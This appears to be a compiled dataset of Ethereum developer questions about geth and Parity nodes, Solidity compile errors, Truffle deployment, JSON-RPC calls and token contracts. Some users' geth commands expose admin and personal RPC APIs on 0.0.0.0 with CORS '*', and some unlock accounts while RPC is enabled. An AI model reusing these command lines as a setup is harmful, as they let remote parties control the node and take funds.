I want to monitor accounts for incoming transactions (RPC/IPC API) and call a function whenever any one of a number of monitored accounts receives ether which is "confirmed", as in, "sufficiently many blocks ago that the chances of double-spending are negligible".

Is there a reference implementation of this?

I'm looking into filters and the words "pending" and "latest" keep cropping up. What do they mean?


texts: What are the pointers for moving Ethereum into production for a private blockchain?

texts:
I am moving an Ethereum blockchain into production and I know many cloud services exist, including BaaS from Microsoft, AWS, Digital Ocean, and Google cloud services.

Is there any criteria from Ethereum to calculate the the space and memory requirement? Also is there a way to calculate how many nodes should be used in a production private system?

I did testing so far using localhost and geth and I found the PoW method used up my laptop battery in under and hour.

Hence I am thinking about using Proof of Stake or another method. Can I implement now using Ethereum or something like Proof of Authority?


texts: Why can't I set `balanceOf[msg.sender] = 0` in the same tx as `msg.sender.transfer()`

texts:
Using pretty much the same pattern as the withdraw() function in the first example of Solidity Common Patterns

Here is a simplified version of the contract I am testing with.

pragma solidity ^0.4.18;

contract Account {
  mapping (address => uint256) public balanceOf;

  function deposit() public payable {
    balanceOf[msg.sender] += msg.value;
  }

  function withdraw() public {
    uint256 amount = balanceOf[msg.sender];
    balanceOf[msg.sender] = 0;
    msg.sender.transfer(amount);
  }
}

When I call the withdraw() function, the tx status is returned as 0x00 and none of the changes are applied.

It seems that balanceOf[msg.sender] = 0; is the offending line.

Setting balanceOf After transfer() Doesn't Work Either:

function withdraw() public {
  uint256 amount = balanceOf[msg.sender];
  msg.sender.transfer(amount);
  balanceOf[msg.sender] = 0;
}

This Works:

function withdraw() public {
  balanceOf[msg.sender] = 0;
}

Setting Balance to Something Other Than Zero Works:

function withdraw() public {
  uint256 amount = balanceOf[msg.sender];
  balanceOf[msg.sender] = 2;
  msg.sender.transfer(amount);
}

Am I missing something here or is there a bug in the tools?

What I'm using:

Ubuntu 16
Truffle
Ganache
Web3js


texts: sendTransaction "code":-32602,"message":"too many arguments, want at most 1"

texts:
I have a contract that has a function:

function addRequest(uint256 d) {
    ...
}

After compile and deployment, I typed the command below to call it:

curl 192.168.241.128:8545 -X POST --data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{
                "from": "0x407d73d8a49eeb85d32cf465507dd71d507100c1",
                "to": "0x8bed67280f46cc1ffd401cdb3dd5909f254c8f34",
                "data": "0x4ca1fad8000000000000000000000000000000000000000000000000000000000000022b"
            }, "latest"],"id":1}'

the first 4 byte of data is the first 4 byte result of web3.sha3('addRequest(uint256)'), and then the a uint32 value 555 padded to 32 bytes. I don't think it is wrong.But it shows me the  result below:

{"jsonrpc":"2.0","id":1,"error":{"code":-32602,"message":"too many arguments, want at most 1"}}

I need a hand, so can anyone help me to solve the puzzle? thank you very much with all my heart.


texts: How do I send multiple transactions as one transaction?

texts:
Say I need a user to approve a contract with an erc20 token balance and then the contract can execute it's function after. Typically, I would have to do an approve transaction with a nonce of 1 and then call the contract after that with a nonce of 2.
This means that we have to wait at least two blocks before the total of the two transactions complete.
How can I send these transactions at the same time, and included in the same block while still ensuring the ordering of their execution?
It might look something like this:
await sendTransactions([
    token.approve(myContract, toWei('1000000')), // Gets executed in the same block before someFunction
    myContract.someFunction() // Gets executed in the same block after approve function
]);


texts: Who "pays" for calls (i.e. functions which do not modify a contract)

texts:
When my code creates or modifies a contract there is a gas cost. But when my code makes a call that does not modify a contract (e.g. reads existing data) it doesn't appear that I'm required to pay gas.

If the above is correct, what happens if a pure or constant function requires a large number of CPU cycles? For example, instead of just returning existing data a function calculates a large number of hash operations. If I can make this call without providing gas, who "pays" for those calculations?


texts: Is there a way for an NFT (ERC-721) so the contract creator pays for the gas fee when the user's trade tokens? Or add some sort of middleware CC payment so for the user that is not tech salvage not need to get ETH for my NFT to work?


texts:
Using the example pose request from https://info.shapeshift.io/api#api-7 :

url:  shapeshift.io/shift
method: POST
data type: JSON
data required:
withdrawal     = the address for resulting coin to be sent to
pair       = what coins are being exchanged in the form [input coin]_[output coin]  ie btc_ltc
returnAddress  = (Optional) address to return deposit to if anything goes wrong with exchange
destTag    = (Optional) Destination tag that you want appended to a Ripple payment to you
rsAddress  = (Optional) For new NXT accounts to be funded, you supply this on NXT payment to you
apiKey     = (Optional) Your affiliate PUBLIC KEY, for volume tracking, affiliate payments, split-shifts, etc...

example data: {"withdrawal":"AAAAAAAAAAAAA", "pair":"btc_ltc", returnAddress:"BBBBBBBBBBB"}

Success Output:
    {
        deposit: [Deposit Address (or memo field if input coin is BTS / BITUSD)],
        depositType: [Deposit Type (input coin symbol)],
        withdrawal: [Withdrawal Address], //-- will match address submitted in post
        withdrawalType: [Withdrawal Type (output coin symbol)],
        public: [NXT RS-Address pubkey (if input coin is NXT)],
        xrpDestTag : [xrpDestTag (if input coin is XRP)],
        apiPubKey: [public API attached to this shift, if one was given]
    }

I send post request to :

 shapeshift.io/shift

with parameters

{"withdrawal":"AAAAAAAAAAAAA", "pair":"btc_ltc", returnAddress:"BBBBBBBBBBB"}

But do not receive a response.

Is my post format correct ?


texts: Reverting changes made during the transaction without throwing an exception

texts:
It's not possible to have custom exception messages with throw, is there a way to somehow find out which throw statement was executed (i.e. code line number)?

Another approach I'm considering is to return errorCode instead of using throw. Is there a way to reliably revert changes made during the transaction without throwing an exception?

contract FirstContract {

    bool isOne;
    bool isTwo;
    bool isThree;

    function foo(bytes32 _value) returns (uint errorCode) {

        if (!isOne) return 101;
        if (!isTwo) return 102;
        if (!isThree) return 103;

        if (SecondContract("0x222").bar(_value) != 0) return 201;

        // 'value' in SecondContract("0x222") was already updated
        // but if further call returns an error, previous changes
        // needs to be reverted

        if (ThirdContract("0x333").baz(_value) != 0) return 301;

        return 0;
    }
}

contract SecondContract {

    uint num;
    bytes32 value;

    function bar(bytes32 _value) returns (uint errorCode) {
        if (num < 10) return 1;
        value = _value;
        return 0;
    }
}

contract ThirdContract {

    bool isActive;
    bytes32 value;

    function baz(bytes32 _value) returns (uint errorCode) {
        if (!isActive) return 1;
        value = _value;
        return 0;
    }
}


texts: Why can I deploy my contract to the testnet, but not to the mainnet?

texts:
I deployed my smart contract to the ropsten testnet and everything worked fine. Now I wand to deploy it to the mainnet and I always get an error. How is that possible? What can I do?

Setup

Truffle v4.0.4 (core: 4.0.4)
Solidity v0.4.18 (solc-js)
geth v1.7.3

Deployment

1. The Ethereum Node is up and running

geth --fast --cache=1048  --unlock "MyAddress" --rpc --rpcapi "eth,net,web3" --rpccorsdomain '*' --rpcaddr localhost --rpcport 8546

2. the truffle config

module.exports = {
    // See <http://truffleframework.com/docs/advanced/configuration>
    // for more about customizing your Truffle configuration!
    networks: {
        development: {
            host: "127.0.0.1",
            port: 7545,
            network_id: "*" // Match any network id
        },
        ropsten: {
            network_id: 3,
            host: "127.0.0.1",
            port: 8545,
            gas: 4700036
        },
        main: {
            network_id: 1,
            host: "127.0.0.1",
            port: 8546,
            gas: 4612388
        }
    },
    rpc: {
        host: '127.0.0.1',
        post: 8545
    }/*,
    solc: { optimizer: { enabled: true, runs: 200 } }*/
};

3. The migration with truffle

truffle migrate --reset --compile-all --network main

4. the log

Using network 'main'.

Running migration: 1_initial_migration.js
  Deploying Migrations...
  ... undefined
Error encountered, bailing. Network state unknown. Review successful transactions manually.
Error: insufficient funds for gas * price + value
    at Object.InvalidResponse (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:41484:16)
    at /opt/local/lib/node_modules/truffle/build/cli.bundled.js:329530:36
    at /opt/local/lib/node_modules/truffle/build/cli.bundled.js:176186:11
    at /opt/local/lib/node_modules/truffle/build/cli.bundled.js:325200:9
    at XMLHttpRequest.request.onreadystatechange (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:328229:7)
    at XMLHttpRequestEventTarget.dispatchEvent (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176415:18)
    at XMLHttpRequest._setReadyState (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176705:12)
    at XMLHttpRequest._onHttpResponseEnd (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176860:12)
    at IncomingMessage.<anonymous> (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176820:24)
    at emitNone (events.js:91:20)

What I already checked

Yes, the network is fully synced.
Yes, I have enough ETH on my account.

UPDATE

When I set gas: 359077 the error is different:

Using network 'main'.

Running migration: 1_initial_migration.js
  Deploying Migrations...
  ... 0x0296d1db2a914b4d09a37881a517c2cb6983867027fa058e3636cdd0e9b79526
  Migrations: 0x73f823c7638cd1a7adc5e746432fc1f9b503d2c4
Saving successful migration to network...
  ... 0x66e08450f3b6fa43dc10b4e4d0a0fa57c57b7713bb4786ad9892769efbbb77f5
Saving artifacts...
Running migration: 2_deploy_contracts.js
  Deploying MyCrowdsale...
  ... undefined
Error encountered, bailing. Network state unknown. Review successful transactions manually.
Error: intrinsic gas too low
    at Object.InvalidResponse (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:41484:16)
    at /opt/local/lib/node_modules/truffle/build/cli.bundled.js:329530:36
    at /opt/local/lib/node_modules/truffle/build/cli.bundled.js:176186:11
    at /opt/local/lib/node_modules/truffle/build/cli.bundled.js:325200:9
    at XMLHttpRequest.request.onreadystatechange (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:328229:7)
    at XMLHttpRequestEventTarget.dispatchEvent (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176415:18)
    at XMLHttpRequest._setReadyState (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176705:12)
    at XMLHttpRequest._onHttpResponseEnd (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176860:12)
    at IncomingMessage.<anonymous> (/opt/local/lib/node_modules/truffle/build/cli.bundled.js:176820:24)
    at emitNone (events.js:91:20)


texts:
I want to deploy private blockchain with 4 nodes. I am trying to use Kubernetes to create P2P network.I am asked to explore this.I have one question regarding real usage or benefit of Blockchain on Kubernetes. Blockchain is decentralized and distributed system and Kubernetes is built for zero downtime for production deployment and high availability of application.Multiple Pods for application can be build on one single cluster/worker node  which is nothing but one single vm or physical server. These multiple pods can be multiple instances of geth deployment.
Will this not defeat the purpose of decentralization provide by Blockchain ?


texts: How to query token transfers like etherscan.io?

texts:
Look at this.

We are able to see tx, from, to, value etc... How is etherscan achieving this? I badly need this kind of functionality in my app. How can I list token transfers for a ERC20 contract?

Note, do not suggest me etherscan api etc, I need to this with web3js or other ethereum approaches.


texts: How to manage keystore in private blockchain?

texts:
Ethereum Setup :

I have created the private blockchain using two nodes (node1, node2).
I have mounted a share drive between these two node to store keystore values so that both nodes can have same account details.
I have used --keystore option to point shared keystore location

Issue:
whenever I create an account from node1, it does not reflect into node2.
but if i restart both node, the newly added account is getting reflected in both nodes.

Please suggest how to synchronize accounts in both node simultaneously ?

Please correct me if my approach is wrong.


texts:
I use truffle + testrpc for testing my contracts and I need to test some time-dependant code (I guess that situation is quite common). I set some objects, check some conditions, then I need to simulate time forwarding to check conditions again.

Testrpc has evm_increaseTime function implemented. Can I use it in truffle tests? If yes, is it limited to javascript-written tests only? So far I wrote only solidity-tests.

I can't figure out what is the best way to use that evm_increaseTime function and how, though I am sure lots of people already solved that problem.


texts: Custom error message in require() not showing up?

texts:
I've got Solidity v0.4.24

And I'm doing this:

require(false,"this is a test");

When I run truffle test I get the revert, but I cant see the error message.

Any ideas what could be wrong?


texts: Nethereum: How to get the list of pending transactions (haven't mined to a block yet)

texts: Currently I'm using GetBlockWithTransactionsByNumber by looping into the latest 200 blocks to get the transactions sent to my address. I can actually get my transaction through the block number but what about the pending transaction which has no block number yet (haven't mined to a block).


texts: What is the Muir Glacier hardfork on the Ethereum mainnet?


texts: Why Ethereum based Dapps don't use WebAuthn

texts:
According to EOSIO they are able to use WebAuthn:

  Support for WebAuthn, a W3C web authentication protocol WebAuthn is a
  standard for strong user authentication collaborated on by the World
  Wide Web Consortium (W3C), the Fast Identity Online (FIDO) Alliance,
  with help from Google, Mozilla, Microsoft, Yubico, and others.
  WebAuthn allows you to use a hardware device for authenticating and
  signing transactions in a browser without extensions or other software
  installed on your device. With WebAuthn support for EOSIO, developers
  can begin testing WebAuthn for authentication in their EOSIO
  blockchain applications.

My question is why does Ethereum based Dapps not using this and instead of signing transactions with Chrome apps based wallets like Metamask? This involves lot more complexity and Ux problems.

Am i missing something?


texts:
What are the chances to create such a smart contract whose function is executed automatically at certain point of time (timestamp) ?         I actually mean that i can write some functions of smart contract and this contract can have a functionality that once it is deployed to the network, i can stop my node but the one particular function of smart contract is executed. Please let me know if more explanation is needed. Thanks !

EDIT 1 :
My question is different from How can a contract run itself at a later time?
question , i am aware about ethereum-alarm-clock and Answer in given link states "For the service to operate, it requires people to initiate the transactions that execute scheduled calls." I just want it completely automated. In case of any confusion or suggestion, leave a comment


texts:
Section 9.4.1. of Ethereum paper (Petersburg version 41c1837 — 2021-02-14), states that:

The machine state μ is defined as the tuple (g,pc,m,i,s)
which are the gas available, the program counter pc ∈ N_256, the memory content, the active number of words in memory (counting continuously from position 0), and the stack contents. The memory contents μ_m are series of zeros of size 2^256.

Further in this documentation, a machine state is said to be prone to change from block to block according to a pre-defined set of rules and can execute arbitrary machine code. The specific rules of changing state from block to block are defined by the EVM.
Also in the documentation, there is an external resource that illustrates machine state as part of volatile memory in the EVM.
So what is a machine state, what are pre-defined rules that can change machine state, and what it has to do with EVM?


texts:
Imagine a network where only specific nodes have ether and can run contracts, and there are other nodes, lets call then V, that only want to read the content produced by the other nodes.

Is there a way for V nodes to check the values in a specific contract without having ether?


texts:
I have a 2D Array uint[][100] myArray. I want to access the length of the first dimension (the dynamic array). Therefore I use myArray.length, but then I get the value 100 the length of the second dimension (the static array).
How can I get the the length of the first dimension?


texts: Invalid type for argument in a function call. Invalid implicit conversion from int_const 0 to address requested.


texts:
pragma solidity ^0.4.24;

contract TRY{

    uint public temp=0;
    uint public b=0;

    function transfer_ether() public payable{
       uint c=60;
       if(msg.value>=c ether){
            temp=msg.value;
             b=temp-(60 ether);
            temp=60 ether;
           msg.sender.transfer(b );
       }
    }

    function to_contract() public payable {
        uint a=temp;
        temp=0;
        msg.sender.transfer(a);
    }
}

This code gives an error:

if(msg.value>=c ether){  <<<< HERE

Is it that we cannot compare with variable ether?

EDITED:-

contract TRY{

    uint public temp=0;
    uint public b=0;
    uint public c ether;

    function set_c(uint _c ){
        c=_c ;
    }

    function transfer_ether() public payable{

       if(msg.value>=c ){
            temp=msg.value;
             b=temp-(60 ether);
            temp=60 ether;
           msg.sender.transfer(b );
       }
    }

    function to_contract() public payable {
        uint a=temp;
        temp=0;
        msg.sender.transfer(a);
    }
}

I tried compiling this but it doesn't work... is it that we have to have a fixed value for storing as ether?


texts: Can decimals() return different values for an ERC20 token according to the standard?

texts:
https://eips.ethereum.org/EIPS/eip-20 says this about the decimals() method for an ERC20 token:
decimals
Returns the number of decimals the token uses - e.g. 8, means to divide the token amount by 100000000 to get its user representation.

OPTIONAL - This method can be used to improve usability, but interfaces and other contracts MUST NOT expect these values to be present.

function decimals() public view returns (uint8)

Is there anything, anywhere, that talks about whether or not different values can be returned when decimals() is called?  (Not at all saying that it would be a good thing, or at all useful, but going on the idea that if an idea is terrible, some token has implemented it.)


texts: AlethOne : GPU can't allocate the DAG in a single chunk

texts:
I'm trying to do some pool mining using AlethOne, but get the following error:

Allocating/mapping single buffer failed with: "clEnqueueWriteBuffer(-4). GPU can't allocate the DAG in a single chunk. Bailing."

I'm currently using these instructions, so I've entered

http://ethereumpool.co/?miner=20@0xe425AFC9cC425E88f911Ba9d4E77Eef763bCef22

in the Pool URL field.

Best guess would be that it's equivalent to the -G that I always have to remove in the consolue version of ethminer. Could anyone help ?


texts: concensus between transaction processing and hash rate in ethereum

texts:
Is there a way to link mining and transaction processing in Ethereum?

E.g. 10 full nodes, private network, 100,000 transactions for all nodes per day. Load equally distributed; I have 10 systems/nodes with 2gb RAM each and i7 cpus.

Can I say I need this much computing power/no. of transaction per second to process them all with given gas -
it would take x hours for 100k transactions on 10 full nodes?

Is it possible to link transaction processing and hash rate in this manner?

A typical use case with following details would help:

Gas Limit: could be customized as required.
Block difficulty: could be as low as required.
No. of transactions per day: 100 k
No. of full nodes: 10
Processing capabilities per node: 2 gb ram, 100 gb harddisk,
processor i7

How many transactions could be processed per day, with these specs?


texts: Machine size recommendation for fast syncing on Ropsten?

texts:
I am planning on syncing my geth node with Ropsten using Ubuntu on AWS. From my pains I've experienced so far I'm uncovering that I'll need :
8 cores, 64GB RAM, 100Mbps Internet connection, 300GB SSD drive and that I should run a cache size --cache=8192

Let me know if that seems correct or please let me know what is minimum to get a full sync using fast mode.

It took me 3 days to get all the blocks minus the last 65 of them using Ubuntu 16, 1gb ram, 2 gb swap file, 32gb drive, Download: 302.30 Mbit/s, Upload: 232.94 Mbit/s


texts:
how to accelerate parity PoA ?

I have been

benchmarking different Ethereum clients

with a focus on their PoA capabilities. Current results are:

56 TPS with parity aura
322 TPS with geth clique

when run on an Amazon AWS t2.xlarge machine.

I have no good explanation for this huge discrepancy. I do not think parity is that much slower, however I haven't found those optimizing configuration choices yet, which would push it further.

How to use my "chainhammer" benchmarking tool? Either

(1) clone the ready-made Amazon AWS machine described here (8 minutes), or
(2) follow these precise instructions how to install everything (~20 minutes?)

Why I am asking here?
The parity team has no time for this now - so I hope any other parity expert can help us.

TL;DR: Help us to speed up parity PoA, with some clever commandline switch choices. Thanks.


texts: Multi node private local ethereum and send transaction

texts: Have a 3-node local private cluster - Nodes A, B and M (miner). Added M as a peer to both node A and node B. When send a transaction transferring 1 ether from node A to node B - eth.sendTransaction in node A. See there is one pending transaction in node A while no pending in either node B or node M. My understanding was that all transactions propagate and node M would mine that and add to the Block. See 0 pending transactions in node B or node M. Am I missing something ?


texts: Potential attack vectors on an Ethereum account

texts: Besides someone stealing your private key, what are other potential attack vectors on an Ethereum account?


texts: Which `EVM` bytecode is actually used to "deposit" the transferred Ether?

texts: A quick question. Which EVM opcode is actually used to "deposit" the transferred Ether into the contract? From the EVM opcode list, there are only two opcodes related to the fund transfer: balance and selfdestruct, but both of them are used to "read" the fund, not actually modify the fund record.


texts: Connection Error - Couldn't connect to ethereum node on AWS at http://xx.xxx.xx.xxx:8545

texts:
We setup ethereum node on AWS Ubuntu Server 16.04 LTS (HVM) EC2 instance and configured it in the standard way before launching the geth console using the below command:

sudo geth --identity "EthereumMain" --datadir ~/.ethereum_private/ --networkid "123" --verbosity 3 --nodiscover --rpcapi "admin,db,eth,debug,miner,net,shh,txpool,personal,web3" --rpccorsdomain "*" --rpc --port "30301" --rpcport "8545" --rpcaddr "0.0.0.0" --nat "any" console 2>> ~/fm-ethchain/fm-ethchain.log

(Basically we tried to incorporate all the suggestions we found on various forums and websites to solve the problem!! )

Now, when we try to connect to this node from lambda function using the web3:

var web3 = new Web3( new Web3.providers.HttpProvider('http://xx.xxx.xx.xxx:8545') );

We keep getting the following error:

  CONNECTION ERROR: Couldn't connect to node http://xx.xxx.xx.xxx:8545
  (where xx.xxx.xx.xxx is the public IP address of the EC2 instance).

Can any AWS Ethereum experts please specify what is it that we are missing?


texts: Cannot read property '2' of null ERROR during truffle compilation

texts:
Here is the source code.

pragma solidity ^0.4.24;

import"./SafeMath.sol";

contract erc20 {

function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function approve(address spender, uint value) public returns (bool);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) internal         returns (bool);
function mint(uint amount) internal returns (bool);
function burn(address _who, uint256 _value) internal returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
event TransferFrom(address indexed from, address indexed to, uint256 value);
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 value);
}

 contract Token is erc20 {

 using SafeMath for uint256;

address public owner;
string public name;
string public symbol;
uint public _totalSupply;
uint public maxAmountMintablePerWorkshop;

mapping (address => uint) balances;
mapping (address => mapping(address => uint256)) allowed;

modifier onlyBok()  {
    require (owner == msg.sender);
    _;
}

constructor () public {
    owner = msg.sender;
    name = "Attendance Tokens";
    symbol = "BPBWST";
    _totalSupply = 25;
    maxAmountMintablePerWorkshop = 25;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
    }

    function totalSupply() public view returns (uint) {
    return _totalSupply;
    }

    /**
    * @dev Transfer token for a specified address
    * @param _to The address to transfer to.
    * @param _value The amount to be transferred.
    */
    function transfer(address _to, uint256 _value) public onlyBok      returns (bool) {
    require(_value <= balances[msg.sender]);
    require(_to != address(0));

    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
    }

   /**
    * @dev Gets the balance of the specified address.
    * @param _owner The address to query the the balance of.
    * @return An uint256 representing the amount owned by the passed   address.
    */
    function balanceOf(address _owner) public view returns (uint256) {
    return balances[_owner];
    }

    function approve(address _spender, uint256 _value) public returns   (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
    }

   function transferFrom(address _from, address _to, uint256 _value)   internal returns (bool) {
   require(_value <= balances[_from]);
   require(_value <= allowed[_from][msg.sender]);
   require(_to != address(0));

   balances[_from] = balances[_from].sub(_value);
   balances[_to] = balances[_to].add(_value);
   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
   emit TransferFrom(_from, _to, _value);
   return true;
   }

   function mint(uint256 _amount) onlyBok() internal returns (bool) {
   require(_amount <= maxAmountMintablePerWorkshop);
   _totalSupply = _totalSupply.add(_amount);
   balances[owner] = balances[owner].add(_amount);
   emit Mint(owner, _amount);
   emit Transfer(address(0), owner, _amount);
   return true;
   }

   function burn(address _who, uint256 _value) internal returns (bool) {
   require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure

   balances[_who] = balances[_who].sub(_value);
   _totalSupply = _totalSupply.sub(_value);
   emit Burn(_who, _value);
   emit Transfer(_who, address(0), _value);
   return true;
   }

}

Any help as to why the contract is not compiling would be great!

Thanks in advance !


texts: Check if Struct already exists in array of structs

texts:
I am new to solidity. I have a struct and an array of structs, like this:

struct Adopter{
    uint age;
    uint gender; // 0 woman, 1 man
    // maybe add an id field
}

Adopter[] adopters;

So, a person can adopt an animal only once. How do I keep adopters in such a way that I can check if the person already has adopted an animal? I can't search for a struct inside an array of structs and I can't create a mapping (struct => bool). There must be a simple way to achieve this.


texts:
I am using the Expanse version of go-ethereum to play with Expanse.  I am exposing the RPC port over the 'net, and connecting to it using "geth attach" from another computer.  None of the commands that I am used to using at the console are working.  For example:

> admin.peers
ReferenceError: 'admin' is not defined
    at <anonymous>:1:1

And the same problem happens using curl.

When I enter this:

curl -X POST --data '{"jsonrpc":"2.0","method":"miner_start","params":[4],"id":74}' localhost:8545

I get this reply:

{"jsonrpc":"2.0","id":74,"error":{"code":-32601,"message":"The method miner_start does not exist/is not available"}}

I probably have a very simple option turned off but there are so many "rpc" this and thats that I am kind of getting lost.  Any ideas?

Thank you.


texts: Does more ether = more voting power in Casper?

texts:
Ethereum plans to move to the Casper proof of stake algorithm in a future version of the network. However, as nodes are betting on which block will be produced next, does that mean the more ether you bet, the higher the chance that block is next??

In other word, If the consensus has 'X' amount of ether placed as the security deposit of block alpha, if I bet more than the 'X' amount on block beta; will block beta be the next block produced?


texts: sendTransaction does not send the transaction (geth)

texts:
I created a local private test network (using geth) with two nodes which are initiliazed with enough ethers and gas using a custom genesis block. Both have accounts and now I wanted to try sending a transaction from one to another. I tried the command given in this link:
https://github.com/ethereum/go-ethereum/wiki/Management-APIs#personal_sendtransaction

However, the transaction stays in the pending transaction list and never arrives at the other node. As I understand theoretically, normally it shoould be sent to the all nodes in the network, no?

Can anyone tell me what can be wrong here?

See the image below where the sending node (top) and the target node (bottom) are shown:

In addition, I don't understand how but the second node (the node that suppose to receive the transaction) is apparently mining its balanca value is increasing slowly. The first node however remains the same. PS: I made "miner.start" before on both nodes.


texts: Private Blockchain - Mining Process - What is being mined?

texts:
I created a simple private blockchain using one single step:

geth --dev

I read that it would automatically generate the genesis block.

On another console window, I created an account and started

miner.start()

When I checked my account balance

 eth.accounts[0].ballance

 web3.fromWei(web3.eth.getBalance(web3.eth.accounts[0]),"ether");

the terminal returned

 1020

I started the miner.start() again
and when checking my balance it showed to me

1180

What is really being mined since I have no transactions, only my account creation and the genesis block?

How could I check the blocks on the blockchain?


texts: When trying to sent token Xcel from myetherwallet getting followinf error:

texts:
Blockquote Warning! Error encountered during contract execution [Reverted]

transaction links: https://etherscan.io/tx/0x7defc28fc1d4e2fce209891370f0d4edc28d386da05a7ef944150cf9b4f81841
https://etherscan.io/tx/0x4b168c84c19a1df65d8aa4e4e205094e0e8501dc14de4ce7f660868a9ad432e6
https://etherscan.io/tx/0xbe8a566e01a7da7246f6fde7ab50ff579fa3586808d6021c45ee23684e0d418e
contract code - https://etherscan.io/address/0x8c4e7f814d40f8929f9112c5d09016f923d34472#code
Transactions from most addresses are successful, and with some with an error, I added links to examples of such transactions above. Who can analyze the code and report the problem?


texts: How to migrate ethereum based crypto currency to other (possibly own) blockchain?

texts:
I've read on certain occasions that some crypto currencies first started off on top of one blockchain and then at some point were migrated to a different or own ecosystem.

How does this process work, and if I write a dApp on ethereum that features an erc20 compatible coin, do I have to make some preparations before deploying the contract to make such a migration possible at a later stage?


texts: i uninstalled meta mask from my android phone however i have failed to import the old account even though i know the 12 phrase

texts: meta mask app was un installed from android phone. Upon re-installation, the app asks for a 12 phrase to import my account.  i have tried to import with the 12 word pass phrase but this has failed yet the 12 phrase is correct one. How can i restore my old account which has some ETH! please assist


texts: Private Blockchain Reserved Nodes Disconnecting

texts:
Using Parity I have a private blockchain with 5 reserved nodes specified with --reserved-nodes /path/to/file.

After a few days of conectivity, the reserved nodes stop talking to each other.  It is not a network problem because they can all ping each other.

I thought that reserved peers would always stay connected.


texts: ERC721 ownedTokens array length limitations on owners with thousands of tokens

texts:
In the ERC721Token contract, I am wondering the limits of:

 mapping (address => uint256[]) private ownedTokens;

I am interested in providing functionality for users to potentially have thousands of ERC721 tokens.

What are the upper limits for returning their entire array in ownedTokens fetches?

I am trying to think up possible paging mechanisms by subclassing ERC721 token, but it seems to necessitate an entire new ERC721 implementation.

We also intend to cache token ownership off chain, however there will come times we'd need to sync ownership arrays with on chain.


texts:
Let's say I have a Dispatcher contract that delegates all function calls to an Implementation contract using delegatecall (see for example https://gist.github.com/Arachnid/4ca9da48d51e23e5cfe0f0e14dd6318f).

To initialise the Dispatcher with some value uint value1 I want to (delegate)call, from the constructor of Dispatcher, an init() method of the Implementation and pass it value1. For security reasons I would like to mark the init() method of Implementation as internal... but it does not seem to work.

I know I can make the init() method of Implementation public with some custom modifier but I would like to understand why the delegatecall to the internal method is not working.


texts:
I am running Parity in a Virtual Machine. I have copied VM and trying to run both Parity's parallel in both Virtual Machines. Since their enode is same on both VMs, I cannot run both Parity in parallel. I guess their connection into same node collide.

[Q] I want to update on going Parity's enode. How could I do that, do I need to clean all Parity's memory?

Is there any way to run Parity nodes having same enode-id in parallel?

Please note that: I observe that Parity nodes having same enode-id connected with different account cannot connect into same Ethereum enode node.


texts: Unable to deploy contracts through truffle and local geth

texts:
I get the contracts through truffle to post but seems to hang, and getting the following warnings in the local geth. all seems ok, but contract does not Deploy.

Version: 1.7.2-stable
Git Commit: 1db4ecdc0b9e828ff65777fb466fc7c1d04e0de9
Architecture: amd64
Protocol Versions: [63 62]
Network Id: 1
Go Version: go1.9.2
Operating System: darwin
Truffle v4.0.1 (core: 4.0.1)
Solidity v0.4.18 (solc-js)

The geth start up looks like following:

cat:Exchange user$ geth --rinkeby  --rpc --rpcapi db,eth,net,web3,personal,admin --unlock="0xMyAddressIsHere"
INFO [11-09|10:30:54] Starting peer-to-peer node               instance=Geth/v1.7.2-stable-1db4ecdc/darwin-amd64/go1.9.2
INFO [11-09|10:30:54] Allocated cache and file handles         database=/Users/user/Library/Ethereum/rinkeby/geth/chaindata cache=128 handles=1024
INFO [11-09|10:30:54] Initialised chain configuration          config="{ChainID: 4 Homestead: 1 DAO: <nil> DAOSupport: true EIP150: 2 EIP155: 3 EIP158: 3 Byzantium: 1035301 Engine: clique}"
INFO [11-09|10:30:54] Initialising Ethereum protocol           versions="[63 62]" network=4
INFO [11-09|10:30:54] Loaded most recent local header          number=1209402 hash=520087…c9f686 td=2352904
INFO [11-09|10:30:54] Loaded most recent local full block      number=1209402 hash=520087…c9f686 td=2352904
INFO [11-09|10:30:54] Loaded most recent local fast block      number=1209402 hash=520087…c9f686 td=2352904
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
WARN [11-09|10:30:54] Failed to journal local transaction      err="no active journal"
INFO [11-09|10:30:54] Loaded local transaction journal         transactions=15 dropped=0
INFO [11-09|10:30:54] Regenerated local transaction journal    transactions=15 accounts=1
